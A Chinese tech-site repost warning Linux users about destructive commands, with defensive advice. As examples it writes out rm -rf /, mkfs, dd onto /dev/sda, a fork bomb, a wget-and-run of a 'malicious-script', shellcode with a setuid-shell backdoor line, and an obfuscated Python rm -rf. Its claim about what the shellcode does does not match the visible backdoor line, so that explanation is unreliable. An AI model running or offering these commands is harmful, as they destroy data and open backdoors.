iis服务器助手广告
返回顶部
首页 > 资讯 > 操作系统 >Linux不安全的命令有哪些
  • 779
分享到

Linux不安全的命令有哪些

2023-06-16 08:06:56 779人浏览 安东尼
摘要

这篇文章主要介绍了linux不安全的命令有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现

这篇文章主要介绍了linux安全的命令有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

早晚有一天,Linux 系统会像 windows  那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在Linux给你***程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭  都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux  也好,人本身才是***的不安全因素。

rm

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf / 删除根分区全部的文件 sudo rm -rf . 删除当前目录下的所有文件 sudo rm -rf * 同上 rm -rf * or rm -rf *.* 同上 rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

格式化命令

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……)  是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

dd

dd 是强大的 io 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。 sudo dd if=/dev/sda of=/dev/sdb 用***块硬盘的内容覆盖第二块的内容。 sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

命令结果定向到硬盘

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda 用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令

fork 命令打开一个子进程,如果把 fork 放在***循环中,最终子进程会耗尽所有内存资源:

:(){:|:&};:

语句的简写形式

这段不知所云的符号,可以让 shell 不停的 fork 子进程,***导致内存耗尽,不得不重启,这不是 bug,只是 Shell  语句故意写成简写的形式而已。下面的同理:

fork while fork

压缩包

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget [url]Http://some_place/some_file[/url] sh ./some_file wget [url]http://hax018r.org/malicious-script[/url] sh ./malicious-script

载脚本

载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:

char esp[] __attribute__ ((section(".text")))  = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" "x6ex2fx73x68x00x2dx63x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root  权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

脚本语言

python 一类的脚本语言,同样可以拿来搞破坏:

Python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf *  每个字母的下一个!

那么我们如何避免运行恶意程序呢?

  • ***不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

  • 第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

  • 第三要保证软件、脚本的来源正规。

***一点,虽然比较消极,但是确实十分重要的一点:

  • 经常备份你的数据!!

感谢你能够认真阅读完这篇文章,希望小编分享的“Linux不安全的命令有哪些”这篇文章对大家有帮助,同时也希望大家多多支持编程网,关注编程网操作系统频道,更多相关知识等着你来学习!

--结束END--

本文标题: Linux不安全的命令有哪些

本文链接: https://www.lsjlt.com/news/282957.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Linux不安全的命令有哪些
    这篇文章主要介绍了Linux不安全的命令有哪些,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现...
    99+
    2023-06-16
  • 不常用的Linux命令有哪些
    这篇文章主要为大家展示了“不常用的Linux命令有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“不常用的Linux命令有哪些”这篇文章吧。1)pgreppgrep名字前有个p,我们可以猜到这...
    99+
    2023-06-13
  • Linux中有哪些不常用的命令
    这篇文章将为大家详细讲解有关Linux中有哪些不常用的命令,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1)pgreppgrep名字前有个p,我们可以猜到这和进程相关,又是grep,当然这是进程相关的gr...
    99+
    2023-06-16
  • 用于Linux中MySQL/MariaDB安全实践的命令有哪些
    这篇文章将为大家详细讲解有关用于Linux中MySQL/MariaDB安全实践的命令有哪些,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。 MySQL 是世界上最流行的开源数据库系统,MariaD...
    99+
    2023-06-10
  • linux命令有哪些
    linux命令有哪些,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。一、文件系统的管理tips:输入命令的时候要常用tab键来补全ls 查看目录信息 ( ls / ) ls ...
    99+
    2023-06-09
  • linux找不到命令的原因有哪些
    1. 命令不存在:输入的命令在系统中不存在,可能是拼写错误或者未安装相关软件包。2. 命令不在系统的PATH环境变量中:系统会在PA...
    99+
    2023-08-12
    linux
  • Linux系统安装telnet命令有哪些
    这篇文章将为大家详细讲解有关Linux系统安装telnet命令有哪些,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。  telnet命令通常用来远程登录。telnet程序是基于TELNET协议的远...
    99+
    2023-06-28
  • Linux系统安装FTP命令有哪些
    这篇文章主要为大家展示了“Linux系统安装FTP命令有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux系统安装FTP命令有哪些”这篇文章吧。1、打开终端,修改root用户密码:su...
    99+
    2023-06-28
  • Linux系统安装docker命令有哪些
    这篇文章主要介绍Linux系统安装docker命令有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!docker 安装步骤:安装依赖包 sudo yum install -y...
    99+
    2023-06-28
  • Linux系统安装gcc命令有哪些
    小编给大家分享一下Linux系统安装gcc命令有哪些,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!源码安装以安装gcc为例,登陆https://gcc.gnu.org/,下载自己想要的版本的gcc安装包 上传gcc-4.1...
    99+
    2023-06-28
  • Linux系统安装nc命令有哪些
    这篇文章给大家分享的是有关Linux系统安装nc命令有哪些的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。在Linux终端窗口可以直接使用yum工具进行安装[root@linuxlz.com~]# yum -y i...
    99+
    2023-06-28
  • Linux系统安装ifconfig命令有哪些
    这篇文章主要为大家展示了“Linux系统安装ifconfig命令有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux系统安装ifconfig命令有哪些”这篇文章吧。1、发现没有ifco...
    99+
    2023-06-28
  • Linux系统安装Git命令有哪些
    这篇文章主要介绍Linux系统安装Git命令有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!1、执行安装连接到服务器并登录成功后,输入如下指令,进行下载安装: yum install git 界面显示如下:出现询...
    99+
    2023-06-28
  • Linux nohup命令有哪些
    这篇文章将为大家详细讲解有关Linux nohup命令有哪些,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。导读在工作中,我们很经常跑一个很重要的程序,有时候这个程序需要跑好几个小时,甚至需要...
    99+
    2023-06-05
  • Linux dos命令有哪些
    本篇内容主要讲解“Linux dos命令有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux dos命令有哪些”吧!dos命令大全常用命令:(1)查看目录内容命令 DIR(2)指定可执...
    99+
    2023-07-01
  • Linux有趣的命令行有哪些
    本篇内容主要讲解“Linux有趣的命令行有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux有趣的命令行有哪些”吧!你有将Linux物尽其用吗?对很多Linux用户来说,有很多看起来是...
    99+
    2023-06-13
  • 不可不知的Linux文本查看命令有哪些
    小编给大家分享一下不可不知的Linux文本查看命令有哪些,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!全文本显示--catcat可能是常用的一个文本查看命令了,使...
    99+
    2023-06-15
  • Linux中有哪些有趣的命令
    这篇文章主要介绍“Linux中有哪些有趣的命令”,在日常操作中,相信很多人在Linux中有哪些有趣的命令问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Linux中有哪些有趣的命令”的疑惑有所帮助!接下来,请跟...
    99+
    2023-06-27
  • dos命令与linux命令的区别有哪些
    本文小编为大家详细介绍“dos命令与linux命令的区别有哪些”,内容详细,步骤清晰,细节处理妥当,希望这篇“dos命令与linux命令的区别有哪些”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。dos命令与lin...
    99+
    2023-06-30
  • 少用的Linux命令有哪些
    这篇文章主要为大家展示了“少用的Linux命令有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“少用的Linux命令有哪些”这篇文章吧。1、pgrep, 替代:# ps -...
    99+
    2023-06-16
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作